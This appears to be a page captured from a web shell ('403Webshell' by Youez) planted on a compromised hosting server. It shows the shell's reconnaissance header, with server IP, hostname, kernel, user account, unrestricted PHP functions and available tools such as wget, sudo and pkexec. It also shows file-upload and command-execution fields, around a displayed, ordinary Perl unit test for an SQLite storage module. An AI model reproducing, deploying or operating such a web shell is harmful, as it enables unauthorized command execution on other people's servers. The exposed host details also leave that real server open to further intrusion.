403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.50
Web Server : Apache
System : Linux gator2125.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /opt/PUC/t/Module/SQLiteStore/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /opt/PUC/t/Module/SQLiteStore/01-load.t
#!/usr/bin/env perl
use strict;
use warnings;

use Test::More;
use Test::Exception;
use DBI;

## no critic (ProhibitConstantPragma)
use constant CLASS => 'PUC::Module::WebApp::SQLiteStore';
## use critic

if ( use_ok(CLASS) ) {
    my $store;
    subtest 'create storage object' => sub {
        lives_ok {
            $store = CLASS->new( dbfile => ':memory:' );
        }
        'New memory store';
    };
    subtest 'creating object sets the dsn' => sub {
        like $store->dsn, qr/ ^ dbi:SQLite \b /x,
          'dsn specifies SQLite driver';
        lives_ok {
            DBI->connect_cached( $store->dsn );
        }
        'Connect using DSN';
    };
}

done_testing;

Youez - 2016 - github.com/yon3zu
LinuXploit